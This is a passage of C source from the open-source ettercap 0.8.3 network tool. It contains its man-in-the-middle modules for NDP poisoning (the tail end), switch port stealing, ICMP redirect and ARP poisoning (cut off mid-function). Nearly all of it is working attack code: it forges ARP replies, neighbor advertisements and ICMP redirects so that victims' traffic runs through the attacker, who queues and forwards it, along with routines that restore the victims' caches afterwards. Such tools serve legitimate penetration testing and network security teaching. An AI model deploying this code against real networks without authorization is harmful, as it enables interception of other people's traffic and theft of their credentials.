EC_PTHREAD_NULL)) ec_thread_destroy(pid); else { DEBUG_MSG("no poisoner thread found"); return; } USER_MSG("NDP poisoner deactivated.\n"); USER_MSG("Depoisoning the victims.\n"); ndp_antidote(); ui_msg_flush(2); /* delete the elements in the first list */ while(LIST_FIRST(&ndp_group_one) != NULL) { h = LIST_FIRST(&ndp_group_one); LIST_REMOVE(h, next); SAFE_FREE(h); } /* delete the elements in the second list */ while(LIST_FIRST(&ndp_group_two) != NULL) { h = LIST_FIRST(&ndp_group_two); LIST_REMOVE(h, next); SAFE_FREE(h); } /* reset the remote flag */ EC_GBL_OPTIONS->remote = 0; return; } EC_THREAD_FUNC(ndp_poisoner) { int i = 1; struct hosts_list *t1, *t2; /* variable not used */ (void) EC_THREAD_PARAM; ec_thread_init(); DEBUG_MSG("ndp_poisoner"); /* it's a loop */ LOOP { CANCELLATION_POINT(); /* Here we go! */ LIST_FOREACH(t1, &ndp_group_one, next) { LIST_FOREACH(t2, &ndp_group_two, next) { if(!ip_addr_cmp(&t1->ip, &t2->ip)) continue; if (!EC_GBL_CONF->ndp_poison_equal_mac) /* skip equal mac addresses ... */ if (!memcmp(t1->mac, t2->mac, MEDIA_ADDR_LEN)) continue; /* * send spoofed ICMP packet to trigger a neighbor cache * entry in the victims cache */ if (i == 1 && EC_GBL_CONF->ndp_poison_icmp) { send_L2_icmp6_echo(&t2->ip, &t1->ip, t1->mac); /* from T2 to T1 */ if (!(flags & ND_ONEWAY)) send_L2_icmp6_echo(&t1->ip, &t2->ip, t2->mac); } send_L2_icmp6_nadv(&t1->ip, &t2->ip, EC_GBL_IFACE->mac, flags, t2->mac); if(!(flags & ND_ONEWAY)) send_L2_icmp6_nadv(&t2->ip, &t1->ip, EC_GBL_IFACE->mac, flags & ND_ROUTER, t1->mac); ec_usleep(EC_GBL_CONF->ndp_poison_send_delay); } } /* first warm up then release poison frequency */ if (i < 5) { i++; ec_usleep(SEC2MICRO(EC_GBL_CONF->ndp_poison_warm_up)); } else ec_usleep(SEC2MICRO(EC_GBL_CONF->ndp_poison_delay)); } return NULL; } static int create_list(void) { struct ip_list *i; struct hosts_list *h, *g; char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("ndp poisoning: create_list"); USER_MSG("\nNDP poisoning victims:\n\n"); /* the first group */ LIST_FOREACH(i, &EC_GBL_TARGET1->ip6, next) { /* walk through TARGET1 selected IPv6 addresses */ LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) { /* search matching entry in host list */ if (!ip_addr_cmp(&i->ip, &h->ip)) { USER_MSG(" GROUP 1 : %s %s\n", ip_addr_ntoa(&h->ip, tmp), mac_addr_ntoa(h->mac, tmp2)); /* create element and insert into list */ SAFE_CALLOC(g, 1, sizeof(struct hosts_list)); memcpy(&g->ip, &h->ip, sizeof(struct ip_addr)); memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&ndp_group_one, g, next); } } } /* the target is NULL - convert to ANY */ if (LIST_FIRST(&EC_GBL_TARGET1->ip6) == NULL) { USER_MSG(" GROUP 1 : ANY (all IPv6 hosts in the list)\n"); /* add all hosts in HOSTLIST */ LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) { /* only IPv6 addresses are applicable */ if (ntohs(h->ip.addr_type) != AF_INET6) continue; /* create the element and insert into list */ SAFE_CALLOC(g, 1, sizeof(struct hosts_list)); memcpy(&g->ip, &h->ip, sizeof(struct ip_addr)); memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&ndp_group_one, g, next); } } USER_MSG("\n"); /* the second group */ /* if the target was specified */ LIST_FOREACH(i, &EC_GBL_TARGET2->ip6, next) { /* walk through TARGET1 selected IPv6 addresses */ LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) { /* search matching entry in host list */ if (!ip_addr_cmp(&i->ip, &h->ip)) { USER_MSG(" GROUP 2 : %s %s\n", ip_addr_ntoa(&h->ip, tmp), mac_addr_ntoa(h->mac, tmp2)); /* create the element and insert in the list */ SAFE_CALLOC(g, 1, sizeof(struct hosts_list)); memcpy(&g->ip, &h->ip, sizeof(struct ip_addr)); memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&ndp_group_two, g, next); } } } /* the target is NULL - convert to ANY */ if (LIST_FIRST(&EC_GBL_TARGET2->ip6) == NULL) { USER_MSG(" GROUP 2 : ANY (all IPv6 hosts in the list)\n"); /* add them */ LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) { /* only IPv6 addresses are applicable */ if (ntohs(h->ip.addr_type) != AF_INET6) continue; /* create the element and insert in the list */ SAFE_CALLOC(g, 1, sizeof(struct hosts_list)); memcpy(&g->ip, &h->ip, sizeof(struct ip_addr)); memcpy(&g->mac, &h->mac, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&ndp_group_two, g, next); } } return E_SUCCESS; } static int create_list_silent(void) { struct hosts_list *h; struct ip_list *i; char tmp[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("create_list_silent"); LIST_FOREACH(i, &EC_GBL_TARGET1->ip6, next) { if(ip_addr_is_local(&i->ip, NULL) == E_SUCCESS) { if (!memcmp(EC_GBL_TARGET1->mac, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) { USER_MSG("\nERROR: MAC address must be specified in silent mode.\n"); return -E_FATAL; } SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); memcpy(&h->ip, &i->ip, sizeof(struct ip_addr)); memcpy(&h->mac, &EC_GBL_TARGET1->mac, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&ndp_group_one, h, next); USER_MSG(" TARGET 1 : %-40s %17s\n", ip_addr_ntoa(&i->ip, tmp), mac_addr_ntoa(EC_GBL_TARGET1->mac, tmp2)); } else { USER_MSG("%s is not local. NDP poisoning impossible\n", ip_addr_ntoa(&i->ip, tmp)); return -E_FATAL; } } LIST_FOREACH(i, &EC_GBL_TARGET2->ip6, next) { if(ip_addr_is_local(&i->ip, NULL) == E_SUCCESS) { if (!memcmp(EC_GBL_TARGET2->mac, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) { USER_MSG("\nERROR: MAC address must be specified in silent mode.\n"); return -E_FATAL; } SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); memcpy(&h->ip, &i->ip, sizeof(struct ip_addr)); memcpy(&h->mac, &EC_GBL_TARGET2->mac, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&ndp_group_two, h, next); USER_MSG(" TARGET 2 : %-40s %17s\n", ip_addr_ntoa(&i->ip, tmp), mac_addr_ntoa(EC_GBL_TARGET2->mac, tmp2)); } else { USER_MSG("%s is not local. NDP poisoning impossible\n", ip_addr_ntoa(&i->ip, tmp)); } } return E_SUCCESS; } /* restore neighbor cache of victims */ static void ndp_antidote(void) { struct hosts_list *h1, *h2; int i; DEBUG_MSG("ndp_antidote"); /* do it twice */ for(i = 0; i < 2; i++) { LIST_FOREACH(h1, &ndp_group_one, next) { LIST_FOREACH(h2, &ndp_group_two, next) { /* skip equal ip */ if(!ip_addr_cmp(&h1->ip, &h2->ip)) continue; if (!EC_GBL_CONF->ndp_poison_equal_mac) /* skip equal mac addresses ... */ if (!memcmp(h1->mac, h2->mac, MEDIA_ADDR_LEN)) continue; /* send neighbor advertisements with the correct information */ send_L2_icmp6_nadv(&h1->ip, &h2->ip, h1->mac, flags, h2->mac); if(!(flags & ND_ONEWAY)) send_L2_icmp6_nadv(&h2->ip, &h1->ip, h2->mac, flags & ND_ROUTER, h1->mac); ec_usleep(EC_GBL_CONF->ndp_poison_send_delay); } } ec_usleep(SEC2MICRO(EC_GBL_CONF->ndp_poison_warm_up)); } } /* * This function has been written by the initial author but * doesn't seem to be necessary as ND poisoning has been brought * to a working state - keeping the code just in case - 2013-12-31 */ #if 0 static void catch_response(struct packet_object *po) { struct hosts_list *h; struct ip_list *i; /* if it is not response to our ping */ if(ip_addr_is_ours(&po->L3.dst) != E_FOUND) return; /* * search if the node address is in one of the ping lists * if so add the address to the poison list */ LIST_FOREACH(i, &ping_list_one, next) { /* the source is in the ping hosts list */ if(!ip_addr_cmp(&po->L3.src, &i->ip)) { LIST_REMOVE(i, next); SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); memcpy(&h->ip, &po->L3.src, sizeof(struct ip_addr)); memcpy(&h->mac, &po->L2.src, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&ndp_group_one, h, next); break; } } LIST_FOREACH(i, &ping_list_two, next) { if(!ip_addr_cmp(&po->L3.src, &i->ip)) { LIST_REMOVE(i, next); SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); memcpy(&h->ip, &po->L3.src, sizeof(struct ip_addr)); memcpy(&h->mac, &po->L2.src, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&ndp_group_two, h, next); break; } } return; } #endif /* * This function has been written by the initial author but * doesn't seem to be necessary as ND poisoning has been brought * to a working state - keeping the code just in case - 2013-12-31 */ #if 0 static void record_mac(struct packet_object *po) { struct ip_addr *ip; u_char *mac; struct hosts_list *h; if(ip_addr_is_ours(&po->L3.src)) { ip = &po->L3.dst; mac = po->L2.dst; } else if(ip_addr_is_ours(&po->L3.dst)) { ip = &po->L3.src; mac = po->L2.src; } else { return; } LIST_FOREACH(h, &ndp_group_one, next) { if(!ip_addr_cmp(&h->ip, ip)) { memcpy(&h->mac, mac, MEDIA_ADDR_LEN); return; } } LIST_FOREACH(h, &ndp_group_two, next) { if(!ip_addr_cmp(&h->ip, ip)) { memcpy(&h->mac, mac, MEDIA_ADDR_LEN); return; } } } #endif ettercap-0.8.3/src/mitm/ec_port_stealing.c0000644000175000017500000003015513505247364020422 0ustar koeppeakoeppea/* ettercap -- Port Stealing mitm module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include /* globals */ struct packet_list { struct packet_object *po; TAILQ_ENTRY(packet_list) next; }; struct steal_list { struct ip_addr ip; u_char mac[MEDIA_ADDR_LEN]; u_char wait_reply; TAILQ_HEAD(, packet_list) packet_table; LIST_ENTRY(steal_list) next; }; LIST_HEAD(, steal_list) steal_table; static int steal_tree; struct eth_header { u_int8 dha[ETH_ADDR_LEN]; /* destination eth addr */ u_int8 sha[ETH_ADDR_LEN]; /* source ether addr */ u_int16 proto; /* packet type ID field */ }; struct arp_header { u_int16 ar_hrd; /* Format of hardware address. */ u_int16 ar_pro; /* Format of protocol address. */ u_int8 ar_hln; /* Length of hardware address. */ u_int8 ar_pln; /* Length of protocol address. */ u_int16 ar_op; /* ARP opcode (command). */ #define ARPOP_REQUEST 1 /* ARP request. */ }; struct arp_eth_header { u_int8 arp_sha[MEDIA_ADDR_LEN]; /* sender hardware address */ u_int8 arp_spa[IP_ADDR_LEN]; /* sender protocol address */ u_int8 arp_tha[MEDIA_ADDR_LEN]; /* target hardware address */ u_int8 arp_tpa[IP_ADDR_LEN]; /* target protocol address */ }; #define FAKE_PCK_LEN sizeof(struct eth_header)+sizeof(struct arp_header)+sizeof(struct arp_eth_header) struct packet_object fake_po; char fake_pck[FAKE_PCK_LEN]; /* protos */ void port_stealing_init(void); EC_THREAD_FUNC(port_stealer); static int port_stealing_start(char *args); static void port_stealing_stop(void); static void parse_received(struct packet_object *po); static void put_queue(struct packet_object *po); static void send_queue(struct packet_object *po); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered mitm */ void __init port_stealing_init(void) { struct mitm_method mm; mm.name = "port"; mm.start = &port_stealing_start; mm.stop = &port_stealing_stop; mitm_add(&mm); } /* * init the PORT STEALING attack */ static int port_stealing_start(char *args) { struct hosts_list *h; struct steal_list *s; struct eth_header *heth; struct arp_header *harp; char *p; char bogus_mac[6]="\x00\xe7\x7e\xe7\x7e\xe7"; DEBUG_MSG("port_stealing_start"); USER_MSG("\nPort Stealing: starting...\n\n"); steal_tree = 0; /* parse the args only if not empty */ if (strcmp(args, "")) { for (p = strsep(&args, ","); p != NULL; p = strsep(&args, ",")) { if (!strcasecmp(p, "remote")) { /* * allow sniffing of remote host even * if the target is local (used for gw) */ EC_GBL_OPTIONS->remote = 1; } else if (!strcasecmp(p, "tree")) { steal_tree = 1; } else { SEMIFATAL_ERROR("Port Stealing: paramenter incorrect.\n"); } } } /* Port Stealing works only on ethernet switches */ if (EC_GBL_PCAP->dlt != IL_TYPE_ETH) SEMIFATAL_ERROR("Port Stealing does not support this media.\n"); if (LIST_EMPTY(&EC_GBL_HOSTLIST)) SEMIFATAL_ERROR("Port stealing needs a non empty hosts list.\n"); /* Avoid sniffing loops. XXX - it remains even after mitm stopping */ capture_only_incoming(EC_GBL_IFACE->pcap, EC_GBL_IFACE->lnet); /* Create the port stealing list from hosts list */ LIST_FOREACH(h, &EC_GBL_HOSTLIST, next) { /* create the element and insert it in steal lists */ SAFE_CALLOC(s, 1, sizeof(struct steal_list)); memcpy(&s->ip, &h->ip, sizeof(struct ip_addr)); memcpy(s->mac, h->mac, MEDIA_ADDR_LEN); TAILQ_INIT(&s->packet_table); LIST_INSERT_HEAD(&steal_table, s, next); } /* Create the packet that will be sent for stealing. * This is a fake ARP request. */ heth = (struct eth_header *)fake_pck; harp = (struct arp_header *)(heth + 1); /* If we use our MAC address we won't generate traffic * flooding on the LAN but we will reach only direct * connected switch with the stealing process */ if (steal_tree) memcpy(heth->dha, bogus_mac, ETH_ADDR_LEN); else memcpy(heth->dha, EC_GBL_IFACE->mac, ETH_ADDR_LEN); heth->proto = htons(LL_TYPE_ARP); harp->ar_hrd = htons(ARPHRD_ETHER); harp->ar_pro = htons(ETHERTYPE_IP); harp->ar_hln = 6; harp->ar_pln = 4; harp->ar_op = htons(ARPOP_REQUEST); packet_create_object(&fake_po, (u_char*)fake_pck, FAKE_PCK_LEN); /* Add the hooks: * - handle stealed packets (mark it as forwardable) * - put the packet in the send queue after "filtering" (send arp request, stop stealing) * - send the queue on arp reply (port restored, restart stealing) */ hook_add(HOOK_PACKET_ETH, &parse_received); hook_add(HOOK_PRE_FORWARD, &put_queue); hook_add(HOOK_PACKET_ARP_RP, &send_queue); /* create the stealing thread */ ec_thread_new("port_stealer", "Port Stealing module", &port_stealer, NULL); return E_SUCCESS; } /* * shut down the poisoning process */ static void port_stealing_stop(void) { pthread_t pid; struct steal_list *s, *tmp_s = NULL; struct packet_list *p, *tmp_p = NULL; int i; DEBUG_MSG("port_stealing_stop"); /* destroy the poisoner thread */ pid = ec_thread_getpid("port_stealer"); /* the thread is active or not ? */ if (!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); else return; /* Remove the Hooks */ hook_del(HOOK_PACKET_ETH, &parse_received); hook_del(HOOK_PRE_FORWARD, &put_queue); hook_del(HOOK_PACKET_ARP_RP, &send_queue); USER_MSG("Prot Stealing deactivated.\n"); USER_MSG("Restoring Switch tables...\n"); ui_msg_flush(2); /* Restore Switch Tables (2 times) * by sending arp requests. */ for (i=0; i<2; i++) { LIST_FOREACH(s, &steal_table, next) { send_arp(ARPOP_REQUEST, &EC_GBL_IFACE->ip, EC_GBL_IFACE->mac, &s->ip, MEDIA_BROADCAST); ec_usleep(MILLI2MICRO(EC_GBL_CONF->arp_storm_delay)); } } /* Free the stealing list */ LIST_FOREACH_SAFE(s, &steal_table, next, tmp_s) { /* Free the sending queue for each host */ TAILQ_FOREACH_SAFE(p, &s->packet_table, next, tmp_p) { packet_destroy_object(p->po); TAILQ_REMOVE(&s->packet_table, p, next); SAFE_FREE(p->po); SAFE_FREE(p); } LIST_REMOVE(s, next); SAFE_FREE(s); } } /* * the real Port Stealing thread */ EC_THREAD_FUNC(port_stealer) { struct steal_list *s; struct eth_header *heth; /* variable not used */ (void) EC_THREAD_PARAM; /* init the thread and wait for start up */ ec_thread_init(); heth = (struct eth_header *)fake_pck; /* never ending loop */ LOOP { CANCELLATION_POINT(); /* Walk the list and steal the ports */ LIST_FOREACH(s, &steal_table, next) { /* Steal only ports for hosts where no packet is in queue */ if (!s->wait_reply) { memcpy(heth->sha, s->mac, ETH_ADDR_LEN); send_to_L2(&fake_po); /* FIXME: port_steal_delay is defined as seconds; not microseconds... */ ec_usleep(EC_GBL_CONF->port_steal_delay); } } /* FIXME: port_steal_delay is defined as seconds; not microseconds... */ ec_usleep(EC_GBL_CONF->port_steal_delay); } return NULL; } /* Check if it's a stolen packet */ static void parse_received(struct packet_object *po) { struct steal_list *s; /* If the dest MAC is in the stealing list * mark the packet as forwardable */ LIST_FOREACH(s, &steal_table, next) { if (!memcmp(po->L2.dst, s->mac, ETH_ADDR_LEN)) { po->flags |= PO_FORWARDABLE; break; } } } /* If the packet was stolen put it in the sending * queue waiting for the port-restoring arp reply */ static void put_queue(struct packet_object *po) { struct steal_list *s; struct packet_list *p; if (po->flags & PO_DROPPED) return; LIST_FOREACH(s, &steal_table, next) { if (!memcmp(po->L2.dst, s->mac, ETH_ADDR_LEN)) { /* If the packet was not dropped stop the stealing * thread for this address, send the arp request * and put a duplicate in the host sending queue */ if (!s->wait_reply) { s->wait_reply = 1; send_arp(ARPOP_REQUEST, &EC_GBL_IFACE->ip, EC_GBL_IFACE->mac, &s->ip, MEDIA_BROADCAST); } SAFE_CALLOC(p, 1, sizeof(struct packet_list)); /* If it's a L3 packet we have to adjust * raw packet len for L2 sending (just in * case of filters' modifications) */ if (po->fwd_packet) po->len = po->fwd_len + sizeof(struct eth_header); p->po = packet_dup(po, PO_DUP_PACKET); TAILQ_INSERT_TAIL(&(s->packet_table), p, next); /* Avoid standard forwarding method */ po->flags |= PO_DROPPED; break; } } } /* If we was waiting this reply from stolen host * send its sending queue and restart stealing process */ static void send_queue(struct packet_object *po) { struct steal_list *s1, *s2; struct packet_list *p, *tmp = NULL; struct eth_header *heth; int in_list, to_wait = 0; /* Check if it's an arp reply for us */ if (memcmp(po->L2.dst, EC_GBL_IFACE->mac, MEDIA_ADDR_LEN)) return; LIST_FOREACH(s1, &steal_table, next) { if (!memcmp(po->L2.src, s1->mac, ETH_ADDR_LEN)) { /* If we was waiting for the reply it means * that there is a queue to be sent */ if (s1->wait_reply) { /* Send the packet queue (starting from * the first received packet) */ TAILQ_FOREACH_SAFE(p, &s1->packet_table, next, tmp) { /* If the source of the packet to send is not in the * stealing list, change the MAC address with ours */ in_list = 0; LIST_FOREACH(s2, &steal_table, next) { if (!memcmp(p->po->L2.src, s2->mac, ETH_ADDR_LEN)) { in_list = 1; break; } } if (!in_list) { heth = (struct eth_header *)p->po->packet; /* Paranoid test */ if (p->po->len >= sizeof(struct eth_header)) memcpy(heth->sha, EC_GBL_IFACE->mac, ETH_ADDR_LEN); } /* Send the packet on the wire */ send_to_L2(p->po); /* Destroy the packet duplicate and remove * it from the queue */ packet_destroy_object(p->po); TAILQ_REMOVE(&s1->packet_table, p, next); SAFE_FREE(p->po); SAFE_FREE(p); /* Sleep only if we have more than one packet to send */ if (to_wait) ec_usleep(EC_GBL_CONF->port_steal_send_delay); to_wait = 1; } /* Restart the stealing process for this host */ s1->wait_reply = 0; } break; } } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/mitm/ec_icmp_redirect.c0000644000175000017500000001000413505247364020350 0ustar koeppeakoeppea/* ettercap -- ICMP redirect mitm module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include /* globals */ static struct target_env redirected_gw; /* protos */ void icmp_redirect_init(void); static int icmp_redirect_start(char *args); static void icmp_redirect_stop(void); static void icmp_redirect(struct packet_object *po); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered mitm */ void __init icmp_redirect_init(void) { struct mitm_method mm; mm.name = "icmp"; mm.start = &icmp_redirect_start; mm.stop = &icmp_redirect_stop; mitm_add(&mm); } /* * init the ICMP REDIRECT attack */ static int icmp_redirect_start(char *args) { struct ip_list *i; char tmp[MAX_ASCII_ADDR_LEN]; DEBUG_MSG("icmp_redirect_start"); /* check the parameter */ if (!strcmp(args, "")) { SEMIFATAL_ERROR("ICMP redirect needs a parameter.\n"); } else { char temp[strlen(args)+3]; /* add the / to be able to use the target parsing function */ snprintf(temp, strlen(args)+3, "%s//", args); if (compile_target(temp, &redirected_gw) != E_SUCCESS) SEMIFATAL_ERROR("Wrong target parameter"); } /* we need both mac and ip addresses */ if (redirected_gw.all_mac || redirected_gw.all_ip) SEMIFATAL_ERROR("You must specify both MAC and IP addresses for the GW"); i = LIST_FIRST(&redirected_gw.ips); USER_MSG("ICMP redirect: victim GW %s\n", ip_addr_ntoa(&i->ip, tmp)); /* add the hook to receive all the tcp and udp packets */ hook_add(HOOK_PACKET_TCP, &icmp_redirect); hook_add(HOOK_PACKET_UDP, &icmp_redirect); return E_SUCCESS; } /* * shut down the redirect process */ static void icmp_redirect_stop(void) { DEBUG_MSG("icmp_redirect_stop"); USER_MSG("ICMP redirect stopped.\n"); /* delete the hook points */ hook_del(HOOK_PACKET_TCP, &icmp_redirect); hook_del(HOOK_PACKET_UDP, &icmp_redirect); } /* * the redirect function. * * redirect all the traffic that goes thru the gateway * check the dst mac address and the dst ip address. * * respect the TARGETs for the redirections */ static void icmp_redirect(struct packet_object *po) { struct ip_list *i; char tmp[MAX_ASCII_ADDR_LEN]; /* retrieve the gw ip */ i = LIST_FIRST(&redirected_gw.ips); /* the packet must be directed to the gateway */ if (memcmp(po->L2.dst, redirected_gw.mac, MEDIA_ADDR_LEN)) return; /* * if the packet endpoint is the gateway, skip it. * we are interested only in packet going THRU the * gateway, not TO the gateway */ if (!ip_addr_cmp(&po->L3.dst, &i->ip)) return; /* redirect only the connection that match the TARGETS */ EXECUTE(EC_GBL_SNIFF->interesting, po); /* the packet is not interesting */ if ( po->flags & PO_IGNORE ) return; USER_MSG("ICMP redirected %s:%d -> ", ip_addr_ntoa(&po->L3.src, tmp), ntohs(po->L4.src)); USER_MSG("%s:%d\n", ip_addr_ntoa(&po->L3.dst, tmp), ntohs(po->L4.dst)); /* send the ICMP redirect */ send_icmp_redir(ICMP_REDIRECT_HOST, &i->ip, &EC_GBL_IFACE->ip, po); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/mitm/ec_arp_poisoning.c0000644000175000017500000004100513505247364020413 0ustar koeppeakoeppea/* ettercap -- ARP poisoning mitm module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include /* globals */ /* * this are the two lists for poisoning. * each element in the each list is associated with all the element * in the other list. this is done in every case. * if one associtation has two equal element, it will be skipped. * this is done to permit overlapping groups */ /* these are LIST_HEAD (look in ec_mitm for the declaration) */ struct hosts_group arp_group_one; struct hosts_group arp_group_two; static int poison_oneway; /* protos */ void arp_poisoning_init(void); EC_THREAD_FUNC(arp_poisoner); static int arp_poisoning_start(char *args); static void arp_poisoning_stop(void); static void arp_poisoning_confirm(struct packet_object *po); static int create_silent_list(void); static int create_list(void); /*******************************************/ /* * this function is the initializer. * it adds the entry in the table of registered mitm */ void __init arp_poisoning_init(void) { struct mitm_method mm; mm.name = "arp"; mm.start = &arp_poisoning_start; mm.stop = &arp_poisoning_stop; mitm_add(&mm); } /* * init the ARP POISONING attack */ static int arp_poisoning_start(char *args) { struct hosts_list *g, *tmp; int ret; char *p; poison_oneway = 0; DEBUG_MSG("arp_poisoning_start"); /* parse the args only if not empty */ if (strcmp(args, "")) { for (p = strsep(&args, ","); p != NULL; p = strsep(&args, ",")) { if (!strcasecmp(p, "remote")) { /* * allow sniffing of remote host even * if the target is local (used for gw) */ EC_GBL_OPTIONS->remote = 1; } else if (!strcasecmp(p, "oneway")) { poison_oneway = 1; } else { SEMIFATAL_ERROR("ARP poisoning: parameter incorrect.\n"); } } } /* arp poisoning only on etherenet */ if (EC_GBL_PCAP->dlt != IL_TYPE_ETH && EC_GBL_PCAP->dlt != IL_TYPE_TR && EC_GBL_PCAP->dlt != IL_TYPE_FDDI) SEMIFATAL_ERROR("ARP poisoning does not support this media.\n"); /* we need the host list */ if (LIST_EMPTY(&EC_GBL_HOSTLIST)) SEMIFATAL_ERROR("ARP poisoning needs a non empty hosts list.\n"); /* wipe the previous lists */ LIST_FOREACH_SAFE(g, &arp_group_one, next, tmp) { LIST_REMOVE(g, next); SAFE_FREE(g); } LIST_FOREACH_SAFE(g, &arp_group_two, next, tmp) { LIST_REMOVE(g, next); SAFE_FREE(g); } /* create the list used later to poison the targets */ if (EC_GBL_OPTIONS->silent && !EC_GBL_OPTIONS->load_hosts) ret = create_silent_list(); else ret = create_list(); if (ret != E_SUCCESS) SEMIFATAL_ERROR("ARP poisoning process cannot start.\n"); /* create a hook to look for ARP requests while poisoning */ hook_add(HOOK_PACKET_ARP_RQ, &arp_poisoning_confirm); /* create the poisoning thread */ ec_thread_new("arp_poisoner", "ARP poisoning module", &arp_poisoner, NULL); return E_SUCCESS; } /* * shut down the poisoning process */ static void arp_poisoning_stop(void) { int i; struct hosts_list *h; struct hosts_list *g1, *g2; pthread_t pid; DEBUG_MSG("arp_poisoning_stop"); /* destroy the poisoner thread */ pid = ec_thread_getpid("arp_poisoner"); /* the thread is active or not ? */ if (!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); else return; /* stop confirming ARP requests with poisoned answers */ hook_del(HOOK_PACKET_ARP_RQ, &arp_poisoning_confirm); USER_MSG("ARP poisoner deactivated.\n"); USER_MSG("RE-ARPing the victims...\n"); ui_msg_flush(2); /* rearp the victims 3 time*/ for (i = 0; i < 3; i++) { /* walk the lists and poison the victims */ LIST_FOREACH(g1, &arp_group_one, next) { LIST_FOREACH(g2, &arp_group_two, next) { /* equal ip must be skipped */ if (!ip_addr_cmp(&g1->ip, &g2->ip)) continue; if (!EC_GBL_CONF->arp_poison_equal_mac) /* skip even equal mac address... */ if (!memcmp(g1->mac, g2->mac, MEDIA_ADDR_LEN)) continue; /* the effective poisoning packets */ if (EC_GBL_CONF->arp_poison_reply) { send_arp(ARPOP_REPLY, &g2->ip, g2->mac, &g1->ip, g1->mac); /* only send from T2 to T1 */ if (!poison_oneway) send_arp(ARPOP_REPLY, &g1->ip, g1->mac, &g2->ip, g2->mac); } if (EC_GBL_CONF->arp_poison_request) { send_arp(ARPOP_REQUEST, &g2->ip, g2->mac, &g1->ip, g1->mac); /* only send from T2 to T1 */ if (!poison_oneway) send_arp(ARPOP_REQUEST, &g1->ip, g1->mac, &g2->ip, g2->mac); } ec_usleep(MILLI2MICRO(EC_GBL_CONF->arp_storm_delay)); } } /* sleep the correct delay, same as warm_up */ ec_usleep(SEC2MICRO(EC_GBL_CONF->arp_poison_warm_up)); } /* delete the elements in the first list */ while (LIST_FIRST(&arp_group_one) != NULL) { h = LIST_FIRST(&arp_group_one); LIST_REMOVE(h, next); SAFE_FREE(h); } /* delete the elements in the second list */ while (LIST_FIRST(&arp_group_two) != NULL) { h = LIST_FIRST(&arp_group_two); LIST_REMOVE(h, next); SAFE_FREE(h); } /* reset the remote flag */ EC_GBL_OPTIONS->remote = 0; } /* * the real ARP POISONER thread */ EC_THREAD_FUNC(arp_poisoner) { int i = 1; struct hosts_list *g1, *g2; /* variable not used */ (void) EC_THREAD_PARAM; /* init the thread and wait for start up */ ec_thread_init(); /* never ending loop */ LOOP { CANCELLATION_POINT(); /* walk the lists and poison the victims */ LIST_FOREACH(g1, &arp_group_one, next) { LIST_FOREACH(g2, &arp_group_two, next) { /* equal ip must be skipped, you cant poison itself */ if (!ip_addr_cmp(&g1->ip, &g2->ip)) continue; if (!EC_GBL_CONF->arp_poison_equal_mac) /* skip even equal mac address... */ if (!memcmp(g1->mac, g2->mac, MEDIA_ADDR_LEN)) continue; /* * send the spoofed ICMP echo request * to force the arp entry in the cache */ if (i == 1 && EC_GBL_CONF->arp_poison_icmp) { send_L2_icmp_echo(ICMP_ECHO, &g2->ip, &g1->ip, g1->mac); /* only send from T2 to T1 */ if (!poison_oneway) send_L2_icmp_echo(ICMP_ECHO, &g1->ip, &g2->ip, g2->mac); } /* the effective poisoning packets */ if (EC_GBL_CONF->arp_poison_reply) { send_arp(ARPOP_REPLY, &g2->ip, EC_GBL_IFACE->mac, &g1->ip, g1->mac); /* only send from T2 to T1 */ if (!poison_oneway) send_arp(ARPOP_REPLY, &g1->ip, EC_GBL_IFACE->mac, &g2->ip, g2->mac); } /* request attack */ if (EC_GBL_CONF->arp_poison_request) { send_arp(ARPOP_REQUEST, &g2->ip, 